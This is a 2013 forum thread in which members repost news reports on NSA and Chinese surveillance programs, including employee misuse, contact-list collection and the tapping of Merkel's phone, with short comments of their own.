[youtube]http://www.youtube.com/watch?v=4SSSMi4X_mA#t=514[/youtube]
Title: Re: they know what you are doing
Post by: ArMaP on September 19, 2013, 03:59:46 pm
McCarthy would be very happy.
..i can't read or watch the news anymore and will probably not post anything else in here..
it's making it too hard to maintain  an equal and happy  attititude
That is too close to the mentality of the people during the fascist dictatorship here in Portugal. The political police's work was made easier by the people that were to eager to help in finding (or even creating) any suspicious behaviour, so they could look like being on the "good side" while the "subversive people" were obviously enemies.

That's really worrying. :(
Title: Re: they know what you are doing
Post by: sky otter on September 28, 2013, 01:31:33 pm


this was too good NOT to add..typical employee stuff





http://www.cnn.com/2013/09/27/politics/nsa-snooping/index.html?hpt=hp_bn1

NSA: Some used spying power to snoop on lovers
By Evan Perez, CNN Justice Reporter
updated 7:58 PM EDT, Fri September 27, 2013

(CNN) -- The National Security Agency's internal watchdog detailed a dozen instances in the past decade in which its employees intentionally misused the agency's surveillance power, in some cases to snoop on their love interests.

A letter from the NSA's inspector general responding to a request by Sen. Chuck Grassley, R-Iowa, lists the dozen incidents where the NSA's foreign intelligence collection systems were abused. The letter also says there are two additional incidents now under investigation and another allegation pending that may require an investigation.

At least six of the incidents were referred to the Justice Department for possible prosecution or additional action; none appear to have resulted in charges. The letter doesn't identify the employees.

Several of the cases involve so-called "Loveint" violations

In one case, detailed by the NSA's watchdog, a civilian intelligence employee assigned overseas was found to have used the NSA's signals intelligence collection system to listen to the phone conversations on nine phone numbers belonging to foreign women from 1998 to 2003 without any valid reason. The signals intelligence system is used to spy on foreign targets for national security reasons.

Yahoo and Facebook ask for more NSA transparency

The case began because a woman, a foreign national employed by the U.S. government, told another employee she suspected the man with whom she was in a sexual relationship was listening to her calls. The employee who misused the NSA's systems also incidentally collected the communications of a U.S. resident on two occasions, a move that requires a court warrant.

The NSA's vast surveillance powers are under fire after the disclosure of internal documents by former NSA contractor Edward Snowden. Intelligence officials have sought to defend the NSA's surveillance activities by saying the agency doesn't misuse its authority.

Grassley wrote to the NSA last month seeking to find out how often the NSA's authorities are misused.

"I appreciate the transparency that the Inspector General has provided to the American people," Grassley said in a statement. "We shouldn't tolerate even one instance of misuse of this program. Robust oversight of the program must be completed to ensure that both national security and the Constitution are protected."

NSA violated phone rules, misinformed secret court

In many cases the employees who intentionally abused the NSA's spying systems resigned before they could be punished. Several were demoted in rank or otherwise sanctioned.

In one 2004 case, a civilian employee told NSA security that she had spied on a foreign phone number because she found it on her husband's cell phone and suspected he was being unfaithful. She collected his phone calls. The employee's infraction was referred to the Justice Department, but she resigned before she could be fired.

Some of the violations appear to have been uncovered by the NSA's own auditing systems.Others were self-reported, including one during a polygraph of an employee.

One employee violated NSA's rules on the first day he had access to the agency's signals intelligence collection system.

He queried six e-mail addresses belonging to a former girlfriend. He told investigators he wanted "to practice on the system" using his former girlfriend's e-mail addresses and that he received no information, and hadn't read any emails. He was demoted and his pay was reduced, and the NSA's inspector general recommended he not be given a security clearance.
Title: Re: they know what you are doing
Post by: sky otter on September 29, 2013, 07:18:57 am

like i have said before.. who needs mind control


http://www.huffingtonpost.com/2013/09/28/nsa-social-connections-new-york-times_n_4010838.html

NSA Maps Social Connections Of Some Americans, New York Times Reports
09/28/13 09:53 PM ET EDT 

WASHINGTON -- For almost three years the National Security Agency has been tapping the data it collects to map out some Americans' social connections, allowing the government to identify their associates, their locations at certain times, their traveling companions and other personal information, The New York times reported.

Citing documents provided by former NSA systems analyst Edward Snowden, the Times reported that the NSA began allowing the analysis of phone call and e-mail logs in November 2010 to examine some Americans' networks of associations for foreign intelligence purposes after NSA officials lifted restrictions on the practice. The newspaper posted the report on its website Saturday.

A January 2011 memorandum from the spy agency indicated that the policy shift was intended to help the agency "discover and track" connections between intelligence targets overseas and people in the United States, the Times reported.

The documents Snowden provided indicated that the NSA can augment the communications data with material from public, commercial and other sources, including bank codes, insurance information, Facebook profiles, passenger manifests, voter registration rolls and GPS location information, as well as property records and unspecified tax data, the paper reported.

NSA officials declined to say how many Americans have been caught up in the effort, including people involved in no wrongdoing, the Times reported. The documents do not describe what has resulted from the scrutiny, which links phone numbers and e-mails in a "contact chain" tied directly or indirectly to a person or organization overseas that is of foreign intelligence interest, the paper reported.

The documents provided by Snowden don't specify which phone and e-mail databases are used to create the social network diagrams, the Times reported, and NSA officials wouldn't identify them. However, NSA officials said the large database of Americans' domestic phone call records revealed in June was not used, the paper reported.

Disclosures from documents leaked by Snowden earlier this year have sparked debate over the government's surveillance activities and concerns that Americans' civil liberties have been violated by the data collection. Russia has granted temporary asylum to Snowden, considered a fugitive from justice in the U.S., and his whereabouts remain secret.
Title: Re: they know what you are doing
Post by: sky otter on October 06, 2013, 08:43:42 pm


i am beginning to think there are more folks monitoring than being monitored..yikes


http://www.bbc.co.uk/news/world-asia-china-24396957

4 October 2013 Last updated at 12:46 ET

China employs two million microblog monitors state media says.

Sina Weibo, launched in 2010, has more than 500 million registered users with 100 million More than two million people in China are employed by the government to monitor web activity, state media say, providing a rare glimpse into how the state tries to control the internet.

The Beijing News says the monitors, described as internet opinion analysts, are on state and commercial payrolls.

China's hundreds of millions of web users increasingly use microblogs to criticise the state or vent anger.

Recent research suggested Chinese censors actively target social media.

The report by the Beijing News said that these monitors were not required to delete postings.

They are "strictly to gather and analyse public opinions on microblog sites and compile reports for decision-makers", it said. It also added details about how some of these monitors work.

Tang Xiaotao has been working as a monitor for less than six months, the report says, without revealing where he works.

"He sits in front of a PC every day, and opening up an application, he types in key words which are specified by clients.

"He then monitors negative opinions related to the clients, and gathers (them) and compile reports and send them to the clients," it says.

The reports says the software used in the office is even more advanced and supported by thousands of servers. It also monitors websites outside China.

China rarely reveals any details concerning the scale and sophistication of its internet police force.

It is believed that the two million internet monitors are part of a huge army which the government relies on to control the internet.

The government is also to organise training classes for them for the first time from 14 to 18 October, the paper says.

But it is not clear whether the training will be for existing monitors or for new recruits.

The training will have eight modules, and teach participants how to analyse and judge online postings and deal with crisis situations, it says.

The most popular microblogging site Sina Weibo, launched in 2010, now has more than 500 million registered users with 100 million messages posted daily.

Topics cover a wide range - from personal hobbies, health to celebrity gossip and food safety but they talso include politically sensitive issues like official corruption.

Postings deemed to be politically incorrect are routinely deleted



More on This Story
Related StoriesThe astonishing speed of Chinese censorship 26 MARCH 2013, CHINA
Has Weibo really changed China? 31 JULY 2012, MAGAZINE
Beijing orders microblog controls 16 DECEMBER 2011, CHINA

Analysis
Dong Le
 
BBC Chinese Service
 
--------------------------------------------------------------------------------

China's internet is one of the most controlled and censored in the world.

Websites deemed to be subversive are blocked. Politically sensitive postings are routinely deleted . Even the name of the former Prime Minister Wen Jiabao was censored when rumours were circulating on the internet that his family had amassed a fortune while he was in power.

But with the rapid growth of internet users, the ruling Communist Party has found itself fighting an uphill battle.

The Beijing News, while reporting the story of microblog monitors, has admitted that it is impossible for the government to delete all "undesirable" postings.

The more postings deleted, the more they appear, it says.

China seldom reveals details about how it monitors and controls the internet. The government even does not acknowledge that it blocks web sites.

But the report does offer a rare glimpse into this opaque world.
Title: Re: they know what you are doing
Post by: deuem on October 07, 2013, 06:07:28 pm
And I've said this how many times? They love Peggy or I would be cut off again.....
 
If everyone in the world does not know by know that we are all being tracked, then you must wake up.
If my connection goes across Europe then every country looks at it. Trace your pings and then go in and detail each location.
 
One ping went right to CIA head quarters DC. Not hiding much there. Trace the pings location and you will see...
 
The interenet is free, free to give them your info.  lol
 
And a shout out to the other peeps from the internet who are watching every thing we do,  Hi !
Title: Re: they know what you are doing
Post by: Amaterasu on October 07, 2013, 06:55:57 pm
Oh, I don't doubt that a few are watching, but not having access to the site figures, nor how to find pings - let alone how to go about tracing them - I have little clue and could put that number anywhere on the number line in the positive range based on all *I* know. LOL!
Title: Re: they know what you are doing
Post by: sky otter on October 07, 2013, 08:27:06 pm


lol
Deuem..funny saying HI to those guys
but i do the same with security cameras..i make eye contact smile and wave at em..

why not... ;D ;)
Title: Re: they know what you are doing
Post by: zorgon on October 07, 2013, 08:51:14 pm
And I've said this how many times? They love Peggy or I would be cut off again.....

You know WHY they like us?

...because we walk the middle line... just enough real material leaking out and just the right amount of lunacy...
 

 ::)
Title: Re: they know what you are doing
Post by: deuem on October 07, 2013, 11:19:27 pm
You can download many free ping trace programs. Just enter the web site you want and watch it bounce from server to server. At each server you can then find its location. then google earth it. wa la    free and easy. You can do it.
I ran this trace until they caught up with me and blocked the pinged servers. They bounce through them but I just get all blanks now.
 
Sky, I wave at the camers all the time. In my elevator therre is one and I say Hi. The lady on the other end saw me do this and told me she looked forward to the next time and she would wave back. What a boring job she has. They have well over 10 cameras and the office looks like something in the movies. Over 100 large monitors on a curved wall all on all the time. Smile ( cheese )
 
Z; sometimes more of one than the other..........lol
They are still trying to figure out Deuem....By now they have hundreds of them. I guess it is my off line art center.
 
I wish they would just let us all use all that storage out there as back up and then they would not need to easedro,p just look. I have nothing to hide, we are the good guys.
 
No where is that Cia file on z, just had it......
Title: Re: they know what you are doing
Post by: sky otter on October 08, 2013, 04:45:03 am


well ! well !  well!..now isn't this interesting. ::)




http://www.bbc.co.uk/news/technology-24443266


8 October 2013 Last updated at 06:19 ET

.Power surges 'cripple NSA data centre'

Electrical supply problems at a National Security Agency data centre have delayed its opening by a year, reports the Wall Street Journal.

Power surges at the giant Utah centre had ruined equipment costing almost a million dollars, it said.

The technical problems had also led to lengthy investigations that had meant its opening date had been pushed back.

The Utah plant is one of three the NSA is building to boost its data gathering and surveillance capabilities.

Over the past 13 months, 10 separate electrical surges have occurred at the data centre in Bluffdale, Utah, according to the Wall Street Journal (WSJ), which is reported to have cost $1.4bn (£872m) to build.

Each surge had burnt out and wrecked about $100,000 worth of computers and other equipment, it said.

The Bluffdale facility is more than one million sq ft (93,000 sq m) in size and its power costs are expected to top $1m (£622,000) a month, according to the WSJ.

The NSA had been supposed to start using the data storage and analysis centre in October 2012, it said, but this had been delayed by the damage caused by the power surges and a six-month investigation into their cause.

The WSJ added it had seen technical documents indicating experts called in to find out the cause had rowed over whether the problem had been fixed.

It said civil contractors were confident the problem had been solved but a special US Army engineer investigation team had said the cause was "not yet sufficiently understood" to be sure that it would not happen again.

The amount of surveillance that the NSA carries out has come under scrutiny in recent months thanks to whistleblower Edward Snowden.

He leaked documents allegedly detailing its activities including the Prism programme that garners data from web firms including Google, Facebook, Microsoft and Yahoo.

In addition, the NSA has been found to be gathering data on phone calls made by US citizens.



More on This Story
Related StoriesNSA targeted Tor via Firefox flaw 07 OCTOBER 2013, TECHNOLOGY
RSA in NSA algorithm link warning 23 SEPTEMBER 2013, TECHNOLOGY
Brazil moves to shield data from US 18 SEPTEMBER 2013, TECHNOLOGY
Germany: Email providers 'seen as surveillance safe haven' 27 AUGUST 2013,


NEWS FROM ELSEWHERE
Related Internet linksMeltdowns Hobble NSA Data Center - WSJ.com
Title: Re: they know what you are doing
Post by: 1Worldwatcher on October 08, 2013, 05:06:00 am

well ! well !  well!..now isn't this interesting. ::)




http://www.bbc.co.uk/news/technology-24443266


8 October 2013 Last updated at 06:19 ET

.Power surges 'cripple NSA data centre'

Electrical supply problems at a National Security Agency data centre have delayed its opening by a year, reports the Wall Street Journal.

Power surges at the giant Utah centre had ruined equipment costing almost a million dollars, it said.

The technical problems had also led to lengthy investigations that had meant its opening date had been pushed back.

The Utah plant is one of three the NSA is building to boost its data gathering and surveillance capabilities.

Over the past 13 months, 10 separate electrical surges have occurred at the data centre in Bluffdale, Utah, according to the Wall Street Journal (WSJ), which is reported to have cost $1.4bn (£872m) to build.

Each surge had burnt out and wrecked about $100,000 worth of computers and other equipment, it said.

The Bluffdale facility is more than one million sq ft (93,000 sq m) in size and its power costs are expected to top $1m (£622,000) a month, according to the WSJ.

The NSA had been supposed to start using the data storage and analysis centre in October 2012, it said, but this had been delayed by the damage caused by the power surges and a six-month investigation into their cause.

The WSJ added it had seen technical documents indicating experts called in to find out the cause had rowed over whether the problem had been fixed.

It said civil contractors were confident the problem had been solved but a special US Army engineer investigation team had said the cause was "not yet sufficiently understood" to be sure that it would not happen again.

The amount of surveillance that the NSA carries out has come under scrutiny in recent months thanks to whistleblower Edward Snowden.

He leaked documents allegedly detailing its activities including the Prism programme that garners data from web firms including Google, Facebook, Microsoft and Yahoo.

In addition, the NSA has been found to be gathering data on phone calls made by US citizens.



More on This Story
Related StoriesNSA targeted Tor via Firefox flaw 07 OCTOBER 2013, TECHNOLOGY
RSA in NSA algorithm link warning 23 SEPTEMBER 2013, TECHNOLOGY
Brazil moves to shield data from US 18 SEPTEMBER 2013, TECHNOLOGY
Germany: Email providers 'seen as surveillance safe haven' 27 AUGUST 2013,


NEWS FROM ELSEWHERE
Related Internet linksMeltdowns Hobble NSA Data Center - WSJ.com

I find this too be a rather "Convenient Time" too have 'Outside Issues' take out the N$A hardware and data? How much you want to make a bet that it is going to be data associated with a few things very vital? Wait and see I guess.

Strange political games being played, this could just as easily be one of them .

Disband the N$A and save us trillion's, there has to  be a cheaper way, No? ???

1WW
Title: Re: they know what you are doing
Post by: ArMaP on October 08, 2013, 06:03:29 am
I find this too be a rather "Convenient Time" too have 'Outside Issues' take out the N$A hardware and data?
I thought it was hardware, as they are not yet using that data centre.
Title: Re: they know what you are doing
Post by: zorgon on October 08, 2013, 11:43:31 am
Disband the N$A and save us trillion's, there has to  be a cheaper way, No? ???

Fvcking STOOPID gubment SPOOKS

NSA Fort Meade,  Maryland

(http://images.bwbx.io/cms/2013-06-06/0606-nsa-630x420.jpg)

NSA Ft. Gordon Georgia

(http://aug-cdn.com/sites/default/files/imagecache/superphoto/10862684.jpg)

NSA SIGINT station at Sugar Grove, West Virginia

(http://motherboard-assets.s3.amazonaws.com/content-images/article/hello-nsa/2b19686ba426f9933ce8ab853cb74a54_vice_630x420.jpg)

National Security Operations Center Floor, 2012.

(http://assets2.motherboard.tv/content-images/contentimage/no-slug/ba50bf5690cdc6274484090098fa500a.jpg)
Title: Re: they know what you are doing
Post by: zorgon on October 08, 2013, 12:01:46 pm
There are well over 120 SPOOK AGENCIES in the USA alone.  One has to wonder why we need so many doing the same job...

Title: Re: they know what you are doing
Post by: Pimander on October 08, 2013, 02:31:08 pm
There are well over 120 SPOOK AGENCIES in the USA alone.  One has to wonder why we need so many doing the same job...
Mostly jobs for ex forces peeps.   Largely a waste of money but some of them very important.
Title: Re: they know what you are doing
Post by: ArMaP on October 08, 2013, 05:01:26 pm
Fvcking STOOPID gubment SPOOKS

NSA Fort Meade,  Maryland

(http://images.bwbx.io/cms/2013-06-06/0606-nsa-630x420.jpg)
Doesn't that have too many parking spaces for the size of the buildings?
Title: Re: they know what you are doing
Post by: sky otter on October 09, 2013, 07:53:10 am


probably has some floors underground
Title: Re: they know what you are doing
Post by: sky otter on October 14, 2013, 08:19:40 pm

http://news.msn.com/us/report-nsa-collecting-millions-of-contact-lists

Report: NSA collecting millions of contact lists


The Washington Post reported that the NSA has been searching through millions of contact lists from personal email and instant messaging accounts.

WASHINGTON — The National Security Agency has been sifting through millions of contact lists from personal email and instant messaging accounts around the world — including those of Americans — in its effort to find possible links to terrorism or other criminal activity, according to a published report.

The Washington Post reported late Monday that the spy agency intercepts hundreds of thousands of email address books every day from private accounts on Yahoo, Gmail, Facebook and Hotmail that move though global data links. The NSA also collects about a half million buddy lists from live chat services and email accounts.

The Post said it learned about the collection tactics from secret documents provided by NSA leaker Edward Snowden and confirmed by senior intelligence officials. It was the latest revelation of the spy agency's practices to be disclosed by Snowden, the former NSA systems analyst who fled the U.S. and now resides in Russia.

The newspaper said the NSA analyzes the contacts to map relationships and connections among various foreign intelligence targets. During a typical day last year, the NSA's Special Source Operations branch collected more than 440,000 email address books, the Post said. That would correspond to a rate of more than 250 million a year.

A spokesman for the national intelligence director's office, which oversees the NSA, told the Post that the agency was seeking intelligence on valid targets and was not interested in personal information from ordinary Americans.

Spokesman Shawn Turner said the NSA was guided by rules that require the agency to "minimize the acquisition, use and dissemination" of information that identifies U.S. citizens or permanent residents.

While the collection was taking place overseas, the Post said it encompassed the contact lists of many American users. The spy agency obtains the contact lists through secret arrangements with foreign telecommunications companies or other services that control Internet traffic, the Post reported.

Earlier this year, Snowden gave documents to the Post and Britain's Guardian newspaper disclosing U.S. surveillance programs that collect vast amounts of phone records and online data in the name of foreign intelligence, often sweeping up information on American citizens.

The collection of contact lists in bulk would be illegal if done in the United States, but the Post said the agency can get around that restriction by intercepting lists from access points around the world.

The newspaper quoted a senior intelligence official as saying NSA analysts may not search or distribute information from the contacts database unless they can "make the case that something in there is a valid foreign intelligence target in and of itself."
Title: Re: they know what you are doing
Post by: zorgon on October 14, 2013, 09:02:41 pm
Doesn't that have too many parking spaces for the size of the buildings?

probably has some floors underground


Located on the grounds of Fort Meade, the headquarters for the nation's premier covert intelligence gathering organization are housed in two high-rise office structures, built and dedicated by Ronald Reagan in 1986, and in other structures on the base, including an estimated 10 acres of which are underground. At least 20,000 employees work for the NSA at Fort Meade, making it the largest employer in the county, one of the largest employers in Maryland, and the largest employer of mathematicians in the country. While the extent of NSA's technical facilities is guarded as a national security measure, the NSA's headquarters is believed to house the second most powerful supercomputer in the world. The NSA operates other computer labs, offices, and satellite interception posts around the world.


http://clui.org/ludb/site/national-security-agency-nsa-headquarters
Title: Re: they know what you are doing
Post by: Amaterasu on October 14, 2013, 10:17:33 pm
Pull the money rug out from under Them.
Title: Re: they know what you are doing
Post by: zorgon on October 14, 2013, 10:31:38 pm
They don't have rugs :P Liquid cooled floors to keep the super computers running smooth :D


[youtube]BH8X8w8a4f4[/youtube]
Title: Re: they know what you are doing
Post by: sky otter on October 16, 2013, 03:35:39 pm

you should never ask if it can get  worse..you’ll get an answer you may not want...like O picking the next guys...sigh





http://www.huffingtonpost.com/2013/10/16/keith-alexander-nsa_n_4110810.html


Keith Alexander, John C. Inglis Expected To Depart NSA Soon


Reuters  |  Posted: 10/16/2013 4:42 pm EDT
By Warren Strobel and Mark Hosenball

WASHINGTON Oct 16 (Reuters) - The director of the U.S. National Security Agency and his deputy are expected to depart in the coming months, U.S. officials said on Wednesday, in a development that could give President Barack Obama a chance to reshape the eavesdropping agency.

Army General Keith Alexander's eight-year tenure was rocked this year by revelations contained in documents leaked by former NSA contractor Edward Snowden about the agency's widespread scooping up of telephone, e-mail and social media data.

Alexander has formalized plans to leave by next March or April, while his civilian deputy, John "Chris" Inglis, is due to retire by year's end, according to U.S. officials who spoke on condition of anonymity.

One leading candidate to replace Alexander is Vice Admiral Michael Rogers, currently commander of the U.S. Navy's 10th Fleet and U.S. Fleet Cyber Command, officials told Reuters. The 10th Fleet and Fleet Cyber Command both have their headquarters at Fort Meade, Maryland, between Washington and Baltimore. The NSA is also headquartered at Fort Meade.

There has been no final decision on selecting Rogers to succeed Alexander, and other candidates may be considered, the officials said.

An NSA spokeswoman had no comment on the leadership changes.

Alexander has served as NSA director since August 2005, making him its longest-serving chief. He also serves as commander of a related military unit, the U.S. Cyber Command.

Alexander, who has vigorously defended the NSA's activities as lawful and necessary to detect and disrupt terrorist plots, has previously said he planned to leave in the spring.

Inglis, who began his NSA career as a computer security scientist, has been the NSA's second-ranking official since 2006.

While both men are leaving voluntarily, the dual vacancies give Obama an opportunity both to install new leadership following Snowden's revelations and to decide whether the NSA and Cyber Command should have separate leaders.

Cyber Command, which has grown significantly in recent years, has the authority to engage in both defensive and offensive operations in cyberspace. Many NSA veterans argue that having the same person lead the spy agency and Cyber Command diminishes the emphasis on the NSA's work and its unique capabilities.

Rogers has been the Navy's top cyber commander since September 2011. Prior to that, he was director of intelligence for the U.S. Joint Chiefs of Staff and for the U.S. Pacific Command.

Rogers is "a good leader, very insightful and well thought of within the community," said a U.S. defense official who was not authorized to speak publicly on the matter.

Rogers has worked hard to ensure that the Navy has sufficient sailors trained to take on added cyber responsibilities for U.S. Cyber Command, the official said.

The NSA - which spies on electronic communications of all kinds and protects U.S. government communications - has been one of the most secretive of all U.S. intelligence outfits. Its employees used to joke that NSA stood for either "No Such Agency" or "Never Say Anything."

But the agency became the focus of controversy this year when Snowden leaked to the media tens of thousands of highly classified documents from the NSA and its British eavesdropping partner. Alexander vigorously defended the agency's actions in congressional testimony and other public appearances.
Title: Re: they know what you are doing
Post by: sky otter on October 16, 2013, 08:10:17 pm


http://www.washingtonpost.com/world/national-security/documents-reveal-nsas-extensive-involvement-in-targeted-killing-program/2013/10/16/29775278-3674-11e3-8a0e-4e2cf80831fc_story.html

Documents reveal NSA’s extensive involvement in targeted killing program
Video: In June, President Obama said the NSA’s programs “help us prevent terrorist attacks.”


By Greg Miller, Julie Tate and Barton Gellman, Updated: Wednesday, October 16, 9:57 PM E-mail the writers
It was an innocuous e-mail, one of millions sent every day by spouses with updates on the situation at home. But this one was of particular interest to the National Security Agency, and contained clues that put the sender’s husband in the cross hairs of a CIA drone.

Days later, Hassan Ghul — an associate of Osama bin Laden who provided a critical piece of intelligence that helped the CIA find the al-Qaeda leader — was killed by a drone strike in Pakistan’s tribal belt.

The U.S. government has never publicly acknowledged killing Ghul. But documents provided to The Washington Post by former NSA contractor Edward Snowden confirm his demise in October 2012 and reveal the agency’s extensive involvement in the targeted killing program that has served as a centerpiece of President Obama’s counterterrorism strategy.

An al-Qaeda operative who had a knack for surfacing at dramatic moments in the post-Sept. 11 story line, Ghul was an emissary to Iraq for the terrorist group at the height of that war. He was captured in 2004 and helped expose bin Laden’s courier network before spending two years at a secret CIA prison. Then, in 2006, the United States delivered him to his native Pakistan, where he was released and returned to the al-Qaeda fold.

But beyond filling in gaps about Ghul, the documents provide the most detailed account of the intricate collaboration between the CIA and the NSA in the drone campaign.

The Post is withholding many details about those missions, at the request of U.S. intelligence officials who cited potential damage to ongoing operations and national security.

The NSA is “focused on discovering and developing intelligence about valid foreign intelligence targets,” an NSA spokeswoman said in a statement provided to The Post on Wednesday, adding that the agency’s operations “protect the nation and its interests from threats such as terrorism and the proliferation of weapons of mass destruction.”

In the search for targets, the NSA has draped a surveillance blanket over dozens of square miles of northwest Pakistan. In Ghul’s case, the agency deployed an arsenal of cyber-espionage tools, secretly seizing control of laptops, siphoning audio files and other messages, and tracking radio transmissions to determine where Ghul might “bed down.”

The e-mail from Ghul’s wife “about her current living conditions” contained enough detail to confirm the coordinates of that household, according to a document summarizing the mission. “This information enabled a capture/kill operation against an individual believed to be Hassan Ghul on October 1,” it said.

The file is part of a collection of records in the Snowden trove that make clear that the drone campaign — often depicted as the CIA’s exclusive domain — relies heavily on the NSA’s ability to vacuum up enormous quantities of e-mail, phone calls and other fragments of signals intelligence, or SIGINT.

To handle the expanding workload, the NSA created a secret unit known as the Counter-Terrorism Mission Aligned Cell, or CT MAC, to concentrate the agency’s vast resources on hard-to-find terrorism targets. The unit spent a year tracking Ghul and his courier network, tunneling into an array of systems and devices, before he was killed. Without those penetrations, the document concluded, “this opportunity would not have been possible.”

1At a time when the NSA is facing intense criticism for gathering data on Americans, the drone files may bolster the agency’s case that its resources are focused on fighting terrorism and supporting U.S. operations overseas.

“Ours is a noble cause,” NSA Director Keith B. Alexander said during a public event last month. “Our job is to defend this nation and to protect our civil liberties and privacy.”



this is only page one of four.. got to the above  link to read it all  
Title: Re: they know what you are doing
Post by: sky otter on October 18, 2013, 11:39:49 am



[youtube]http://www.youtube.com/watch?v=AHrZgS-Gvi4[/youtube]



Published on Jan 31, 2013

Rise Of The Drones: http://video.pbs.org/video/2326108547

A new camera developed by the Pentagon's research arm was highlighted in a recent special on PBS' "Nova" in an episode called "Rise of the Drones." It's a camera system so detailed it can discern specific movements and even what a subject is wearing.
The Defense Advanced Research Projects Agency's (DARPA's) Autonomous Real-Time Ground Ubiquitous Surveillance Imaging System (ARGUS) has 1.8 billion pixels (1.8 gigapixels), making it the world' highest resolution camera. The sensors on the camera are so precise, PBS stated it is the equivalent to the capabilities of 100 Predator drones in a medium city.
In the clip from PBS, it is said this is the first time the government has allowed information to be shared about these capabilities.
"It is important for the public to know that some of these capabilities exist," Yiannis Antonaides with contractor BAE Systems said in the clip, but noted the sensor itself cannot be revealed. "Because we are not allowed to expose some of the pieces that make up this sensor, so you get to look a pretty plastic curtains."

The technology allows the user to open up a specific windows of interest in the camera's view while still keeping up an image of the larger picture (sort of like split screen). Antonaides explained that the colored boxes in the image show that the sensor recognized moving objects. "You can see individuals crossing the street. You can see individuals walking in parking lots. There's actually enough resolution to see the people waving their arms or walking around or what kind of clothes they wear," he said. PBS noted that ARGUS can actually see much more details than just attire. It can see objects as small as six inches. At 2:23 in the clip, Antonaides points out that from 17,500 feet, a white object in the field of view is a bird flying. PBS pointed out that DARPA put a time crunch on creating the camera, which lead Antonaides to look into technology that you probably have in your purse or pocket at this very moment. Taking similar imaging systems used in smartphones and putting 368 together, is essentially how Antonaides and other engineers at BAE Systems created ARGUS. It is this "mosaic" of cameras that allows the system to zoom in on specific sections in extreme detail. As for data, the system stores up to 1 million terabytes a day. Putting this into perspective, PBS notes this is equal to 5,000 hours of HD footage.

"You can go back and say 'I would like to know what happened at this particular location three days, two hours, four minutes ago' and it would actually show you what happened as if you were watching it live," Antonaides said.

It is still classified information whether ARGUS has been used in the field yet.

"If we had our choice, we would like ARGUS to be over the same area 24 hours a day, seven days a week. That's not very achievable with manned platforms. This is where UAVs come in and they're absolutely the perfect platform," Antonaides said.
President Barack Obama's authorization of military aid to the Syrian rebels "dramatically" increases U.S. support for the opposition, the White House said Friday, while acknowledging that it will take time for the supplies to reach fighters struggling in their clashes with Syrian President Bashar Assad.

U.S. officials said the new aid would include weapons and ammunition and comes in response to firmer evidence from the White House of chemical weapons use by Assad's regime.

"There's already material that's been flowing to the opposition and that will continue in the weeks to come," said Ben Rhodes, Obama's deputy national security adviser.

Obama has said the use of chemical weapons would cross a "red line," suggesting greater American intervention. While a small percentage of the 93,000 people reportedly killed in Syria are said to have died from chemical weapons — U.S. intelligence puts the number at 100 to 150 — the White House views the deployment of the deadly agents as a flouting of international norms.

Rhodes said Obama made the decision to authorize military aid to the rebels over the past few weeks. He also defended the president's caution on the issue, saying "these are not steps the president takes lightly."


AP Photo/Pablo Martinez Monsivais
President Barack Obama gestures as he answers... View Full Size

The History of Syria in 60 Seconds Watch Video

White House Confirms Syria's Use of Chemical Weapons Watch Video

Category News & Politics

LicenseStandard YouTube License
Title: Re: they know what you are doing
Post by: sky otter on October 23, 2013, 11:49:50 am


yeah like this is news.. :(


http://www.huffingtonpost.com/2013/10/23/media-nsa-coverage-study-columbia_n_4148499.html?utm_hp_ref=media


Big Newspapers Tilted In Favor Of The NSA, Study Finds


 The Huffington Post  |  By Jack Mirkinson
Posted: 10/23/2013 8:43 am EDT  |  Updated: 10/23/2013 8:43 am EDT


A new study released on Wednesday found that much of the coverage of the National Security Agency spying controversy has been weighted in favor of the surveillance agencies.

The Columbia Journalism Review study  http://www.cjr.org/the_kicker/news_media_pro_surveillance_bi.php?page=all

examined stories from USA Today, the New York Times, the Washington Post and the Los Angeles Times over a two-month period. The results were consistent:

Of the 30 traditionally pro- or anti-surveillance terms we examined...in all four newspapers, key words generally used to justify increased surveillance, such as security or terrorism, were used much more frequently than terms that tend to invoke opposition to mass surveillance, such as privacy or liberty.
USA Today led the pack, using pro-surveillance terms 36 percent more frequently than anti-surveillance terms. The LA Times followed at 24 percent, while The New York Times was at 14.1 percent. Even the Washington Post, where Barton Gellman was the first US journalist to break the news of the NSA's surveillance, exhibited a net pro-surveillance bias in its coverage of 11.1 percent. Although keyword frequency analysis on its own is not always conclusive, large, consistent discrepancies of the kind observed here strongly suggest a net media bias in favor of the US and UK governments' pro-surveillance position.


The study also noted that the coverage flew in the face of the American public's consistent opposition to many NSA spying programs. Other recent studies have shown similar gaps; a survey   http://www.huffingtonpost.com/2013/09/17/cable-news-syria-pew_n_3940141.html

of cable news coverage of the conflict in Syria, for instance, found that news networks were far more hawkish on the issue than the public at large.

Read the full findings here.     http://www.cjr.org/the_kicker/news_media_pro_surveillance_bi.php?page=all
Title: Re: they know what you are doing
Post by: Elvis Hendrix on October 23, 2013, 01:51:45 pm
(http://i1284.photobucket.com/albums/a572/paparumbo/9c364d51fb20e01e144695dd6bae3984_zps889b4a8a.jpg)
Title: Re: they know what you are doing
Post by: sky otter on October 23, 2013, 03:22:50 pm
i truly don't think there is anyone left to offend :(






http://www.huffingtonpost.com/2013/10/23/merkel-phone-tapped_n_4150812.html

Angela Merkel's Cell Phone Tapped By NSA?
 U.S. Accused Of Spying On German Chancellor

By JOHN-THOR DAHLBURG and LORI HINNANT 10/23/13 01:56 PM ET EDT 

BRUSSELS -- BRUSSELS (AP) — The German government says Chancellor Angela Merkel has called President Barack Obama after receiving information that U.S. intelligence may have targeted her mobile phone.

Merkel spokesman Steffen Seibert said Merkel made clear in Wednesday's call that "she views such practices, if the indications are confirmed ... as completely unacceptable" and called for U.S. authorities to clarify the extent of surveillance in Germany.

A statement from Seibert said the German government "has received information that the chancellor's cellphone may be monitored by American intelligence." The government wouldn't elaborate but news magazine Der Spiegel, which has published material from NSA leaker Edward Snowden, said its research triggered the response.





........................................

http://www.huffingtonpost.com/2013/10/21/nsa-france-spying-report_n_4134690.html

NSA France: U.S. Conducted Large-Scale Spying On French Citizens: Report

By LORI HINNANT 10/21/13 05:55 AM ET EDT 

PARIS -- PARIS (AP) — The U.S. National Security Agency swept up 70.3 million French telephone records in a 30-day period, according to a newspaper report that offered new details of the massive scope of a surveillance operation that has angered some of the country's closest allies. The French government on Monday summoned the U.S. ambassador for an explanation.

The report in Le Monde, co-written by Glenn Greenwald who originally revealed the NSA surveillance program, found that when certain numbers were used, the conversations were automatically recorded. The surveillance operation also swept up text messages based on key words, Le Monde reported, based on records from Dec. 10 to Jan 7.

The Le Monde reporting emerged as U.S. Secretary of State John Kerry arrived in Paris for diplomatic talks Monday about a peace process for Israel and Palestinian authorities.

